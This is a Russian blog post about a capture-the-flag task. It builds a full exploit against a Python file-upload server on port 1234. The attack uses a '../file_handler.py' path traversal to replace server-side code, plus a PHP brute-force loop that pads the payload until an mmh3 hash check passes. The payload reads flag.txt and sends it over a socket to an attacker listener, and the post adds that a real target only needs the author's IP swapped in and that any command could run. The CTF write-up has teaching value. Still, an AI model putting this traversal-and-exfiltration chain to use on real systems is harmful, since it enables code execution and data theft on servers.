понедельник, 11 января 2016 г.

Эксплоит который может написать каждый

По сложившейся традиции разбираю очередное задание олимпиады по информационной безопасности MCTF. В этот раз мы будем организованно писать эксплоит для серверного приложения, написанного на языке Python.
Общеизвестно, что эксплоит - это компьютерная программа, фрагмент программного кода или последовательность команд, которые используются уязвимости в программном обеспечении и применяются для осуществления атаки на вычислительную систему. Целью атаки является захват контроля над системой или нарушение её корректной работы (с) вики.
В качестве подопытного предлагается код сервера на языке Python с несколько странной реализацией протокола. Ознакомиться с кодом приложения можно здесь, далее я прокомментирую его наиболее яркие фрагменты. Но прежде всего нам нужное его установить на локальной машине для вдумчивого препарирования. Итак

Запуск файла server.py на Ubuntu

В целом особых подводных камней тут нет, Python включен во все дистрибутивы повсеместно, однако тут ВНЕЗАПНО используется малоизвестная библиотека mmh3 (о подляне, которую она подкладывает я буду еще писать).
К сожалению, в дистрибутиве ubuntu ее нет, поэтому ставим из исходников

sudo apt-get install python-pip
sudo apt-get install python-dev
sudo python -m pip install mmh3

В результате скачиваются и компилируются исходники данного модуля, после чего сервер можно запустить командой
python server.py

Кроме того для безошибочной работы сервера нужно положить в его рабочую директорию файл flag.txt и каталогом выше подключаемый модуль ../file_handler.py.
Вообще цель заданий в этой олимпиаде - найти некие "флаги". Таким образом цель взлома server.py - считать содержимое файла flag.txt, который расположен в одном каталоге с исполняемым файлом сервера.

Анализ работы скрипта и поиск уязвимостей

Теперь откроем скрипт и подумаем над его кодом. Протокол сетевого обмена, который тут реализован странный. Но что поделать, настоящего хакера такой чепухой не остановить. Итак, как работает алгоритм.
В целом данный алгоритм можно охарактеризовать как серверная обработка некоторого передаваемого клиентом файла. Сервер слушает некий порт (за номером 1234) и ждет когда ему передадут имя файла и его содержимое. Далее сервер "натравливает" на него обработчик на том же python. Но как странно он это делает!

Подготовительные операции для обработки файла

После получения запроса сервер готовит себе окружение для дальнейшей работы. Делается все это при помощи функции move_to_sec_env, листинг которой чуть ниже.  Приведу описание алгоритма как есть, без комментариев относительно "надежности" такого подхода. Итак, все в комментариях


def move_to_sec_env():
    global current_dir
    current_dir = id_generator() # Генерируем имя временной директории
    print current_dir
    os.system("mkdir /tmp/%s" % current_dir) # Создаем ее в папке /tmp (заодно 
#понимаю что сервер работает под Linux
    os.system("mkdir /tmp/%s/server" % current_dir) #Там создаем подпапку server
    os.system("cp flag.txt /tmp/%s/server/" % current_dir) # Копируем туда файл flag.txt
    os.system("cp ../file_handler.py /tmp/%s/" % current_dir) #Копируем  обработчик
    os.chdir("/tmp/%s/server/" % current_dir) #Делаем поддиректорию server рабочей
Для нас важно, что файл flag.txt, который и нужен лежит в  /tmp/%s/server и добраться до него уже заметно проще.

Получение описания (заголовка) для передаваемой информации

Тут странности продолжаются. В качестве заголовка сервер ждет ровно 1024 байта, не больше и не меньше. Почему так? Чтобы писать эксплоит было интереснее!
Далее делается следующее:

  • Проверяется, что первая строка содержит команду get. Это обязательное требование протокола - при отсутствии команды обработка запроса завершается, не начавшись;
  • Следом считывается 3-я строка -  в ней содержится имя файла с которым будет работать сервер. На этом полезная информация, содержащаяся в блоке размером 1024 байта завершается. Остальной объем можно заполнить произвольным мусором;
  • Далее сервер читает новый блок данных (16 байтов), в котором содержится размер файла, который будет передан на обработку;
  • Теперь сервер готов получить указанное количество байт и записать его по адресу, содержащимся в переменной filename;
  • Передаем содержимое файла, который мы хотим записать на сервер.

Традиционно, в листинге приведен код который реализует сей протокол

#Блок для считывания данных протокола
    data = s.recv(1024)
    cmd = data[:data.find('\n')]

    if cmd == 'get':
        print 'data: %s' % data
        x, file_name, x = data.split('\n', 2)
        _size = s.recv(16)
        try:
            size = int(_size)
        except:
            leave_sec_env()

Обработка полученного файла

Далее идет обработка файла, а странности алгоритма продолжаются. Смотрим код

        if mmh3.hash(recvd) >> 16 != -30772 or 'server' in file_name:
            print 'Hey, you! Watch whatcha sending me!'
            leave_sec_env()
Сервер на питоне получает содержимое файла, считает от него контрольную сумму при помощи библиотеки mmh3 (той самой которую мы так долго и мучительно устанавливали в первой части). Функция вычисляет контрольную сумму длиной 31 байт, а далее выполняется битовый сдвиг влево на 16 позиций, что нам дает сброс младших 16 байт контрольной суммы. После чего программ вводит критерий: старшие 16 бит контрольный суммы должны быть равны -30772. Почему? Неважно.
Важно то, что "протолкнуть" любой файл серверу на обработку становится невозможным, нужен файл с определенными свойствами контрольной суммы.
Передали "плохую" байтовую последовательность? Сервер обзывается и прекращает работу.
Если же файл чудом прошел, сервер следом делает с ним нечто интересное.

#Грузим Python-обработчик и вызываем process_file
        file_handler = imp.load_source('module.name', '../file_handler.py')
        file_handler.process_file(file_name)
        leave_sec_env()
Выполняет некий сторонний код, который к тому же располагается в рабочей папке! Прекрасно, прекрасно.

Пишем эксплоит

Идея эксплоита

Очевидна. Поскольку сервер выполняет сторонний код, то надо подменить тот, что расположен на нем и "подсунуть" наш. Мы видим, что при проверке данных сервер только убеждается в том, что в имени файла не содержится фраза "server". А защиты от известной уязвимости "../" нет. Что же будем эксплуатировать ее.
Передадим в качестве имени файла "../file_handler.py". Тогда (если конечно удастся пройти защиту, связанную с проверкой контрольной суммы) измененный файл-обработчик и будет эксплоитом!
Напомню, что цель взлома - получить содержимое файла flag.txt. Поскольку мы атакуем удаленный сервер, то для передачи, очевидно надо воспользоваться сетевым соединением.
Что нужно сделать? Прочитать содержимое файла flag.txt, подключиться по сети к атакующему компьютеру и передать данные. А поскольку server.py написан на Питоне, файл-эксплоит должен быть сделан на нем же.
В первом приближении получится нечто вроде:
#Читаем flag.txt и передаем его по сети
def process_file(name):
    import socket
    TCP_IP = '127.0.0.1'
    TCP_PORT = 5005
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((TCP_IP, TCP_PORT))
    f = open('flag.txt')
    s.send(f.read())
    s.close()

Небольшой комментарий. Эксплоит работает в режиме клиента. После запуска он инициализирует подключение к атакующему компьютеру по порту 5005 и передает туда интересующие нас данные. Конечно, если Вы будете использовать сей код для атаки реальной удаленной машине, не забудьте подставить вместо 127.0.0.1 свой IP-адрес.

Перехватчик конфиденциальной информации

Чтобы эксплоит мог передать интересующую нас информацию, на атакующем компьютере нужно запустить сервер, который будет прослушивать 5005 порт и печатать в консоль или сохранять полученную информацию.
Напишем его (для разнообразия на PHP)
<?php
while(1){

$conn = stream_socket_server('tcp://127.0.0.1:5005');
while ($socket = stream_socket_accept($conn)) {
$pkt = stream_socket_recvfrom($socket, 1500, 0, $peer);
if (false === empty($pkt)) {
stream_socket_sendto($socket, 'Received pkt ' . $pkt, 0, $peer);
}
print $pkt."\n";
fclose($socket);
usleep(10000); //100ms delay
}
stream_socket_shutdown($conn, \STREAM_SHUT_RDWR);
}

?>

Реализация отправки эксплоита на server.py

Теперь осталось написать небольшой код, который передаст наш файл на сервер. Для этого надо:
Открыть соединение с удаленной машиной по порту 1234
Передать ему заголовок длиной 1024 байта
Передать размер файла, который будет отправлен на сервер
Отправить сам файл
Надеяться что все пройдет как надо и мы получим по сети содержимое flag.txt
Итак, простой код отправки данный (опять на PHP), код на Python хранится в файле send.py

<?php
error_reporting(E_ALL);

/* Создаём  TCP/IP сокет. */
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);

/* Пытаемся соединиться с '$address' на порту '$service_port'... */
$result = socket_connect($socket, '127.0.0.1', '1234');

/* Отправляем HEAD запрос..."; */
$in = "get
../file_handler.py
";

//Дополняем заголовок до 1024 байтов
for($i=strlen($in); $i<1024; $i++)
    $in=$in."X";

socket_write($socket, $in, strlen($in));

/* Отправляем SIZE запрос... */
$in = filesize("send.py");
for($i=strlen($in); $i<16; $i++)
    $in=" ".$in;
socket_write($socket, $in, strlen($in));

/* Отправляем DATA запрос... */
$in = file_get_contents("send.py");
socket_write($socket, $in, strlen($in));

/* Закрываем сокет... */
socket_close($socket);
?>


В целом, если бы в server.py отсутствовала проверка контрольной суммы (по очень нестандартному алгоритму), задача была бы решена. Но перед нами стоят дополнительные препоны - нужно отправить файл, соответствующий критериям отборки контрольной суммы.

Как известно даже с готовым набором контрольных сумм, подобрать для них подходящий открытый текст можно лишь перебором.
Очевидно, от нас ждут тут "метода грубой силы" (brute force, он же брут форс) и тотального перебора вариантов.
Что делать, если надо реализуем. Для этого добавим в конец передаваемого файла комментарий, составленный из случайных букв. Понятно, что при изменении содержимого, контрольная сумма файла тоже будет меняться. Обеспечим такую "случайность".
<?php
//алфавит из которого будет создаваться случайный комментарий
$alpha="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM"; 
while(1){
/* Создаём  TCP/IP сокет. */
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
$result = socket_connect($socket, '127.0.0.1', '1234');

$in = "get\n../file_handler.py\n";

for($i=strlen($in); $i<1024; i++)
    $in=$in."X";

socket_write($socket, $in, strlen($in));

/* Создаем "случайность"*/
$append = rand(0, 1024); //Определяем, какой будет у файла "хвост"
$in = filesize("send.py") +$append +2;

for($i=strlen($in); $i<16 i++)
    $in=" ".$in;

socket_write($socket, $in, strlen($in));

$in = file_get_contents("send.py");
$in= $in."\n#"; // Добавляем строку комментария
for($i=0; $i<$append; $i++)
    $in=$in.$alpha[rand(0, 50)]; //Дописываем комментарий 
                                 //случайными буквами из алфавита

socket_write($socket, $in, strlen($in));
socket_close($socket);
usleep(100000); //100ms delay
}
?>

Эксплоит и вопросы производительности

Итак, получился готовый код для взлома указанного серверного приложения. Схема его работы следующая:

  • Запускаем скрипт, который ждет сообщения с атакуемого сервера по порту 5005
  • Запускаем скрипт отправки эксплоита с учетом перебора контрольной суммы
  • Ждем
  • PROFIT

Следует отметить, что если запустить перебор слишком быстро (то есть без задержки между отправками), то сервер не успевает подготовить окружение во временной папке, из-за чего в консоль валятся сообщения, вроде приведенного ниже. Побороть некорректную работу можно установкой задержки межу отправками файла (при помощи команды usleep).


mkdir: cannot create directory ‘/tmp/1ZEPAP’: File exists
mkdir: cannot create directory ‘/tmp/1ZEPAP/server’: No such file or directory
cp: cannot create regular file ‘/tmp/1ZEPAP/server/’: No such file or directory
cp: cannot create regular file ‘/tmp/1ZEPAP/’: Not a directory
Traceback (most recent call last):
  File "server.py", line 79, in module
    handle_client(s)
  File "server.py", line 32, in handle_client
    move_to_sec_env()
  File "server.py", line 23, in move_to_sec_env
    os.chdir("/tmp/%s/server/" % current_dir)
OSError: [Errno 2] No such file or directory: '/tmp/1ZEPAP/server/'

В итоге перебор файлов для того, чтобы они удовлетворяли условию оказался довольно ресурсоемким и занял у меня приблизительно 21 минуту 5 секунд.

Вот собственно и все. Естественно, кроме кражи флага можно выполнить любую другую произвольную команду. Все. Всем спасибо за внимание.

4 комментария:

  1. Уважаемый Владимир! Ваша последняя публикация повергла половину нашего коллектива в состояние ступора, а другая половина попросту не смогла её прочесть её из-за большого количества незнакомых слов и понятий. Может быть, теперь давайте о путешествиях, а?

    ОтветитьУдалить
  2. Отличная статья! Побольше бы таких)
    Есть недочёты, неточности, но в целом всё супер.
    Мне кажется перебирать хэш локально, не отправляя на сервер было бы быстрее. Разве нет?

    ОтветитьУдалить
    Ответы
    1. Да, быстрее конечно. Просто на этой олимпиаде была задача - взломать удаленный сервак по известному коду серверного ПО на питоне. Идея в том, чтобы локально все отладить, а потом дернуть данные по удаленке

      Удалить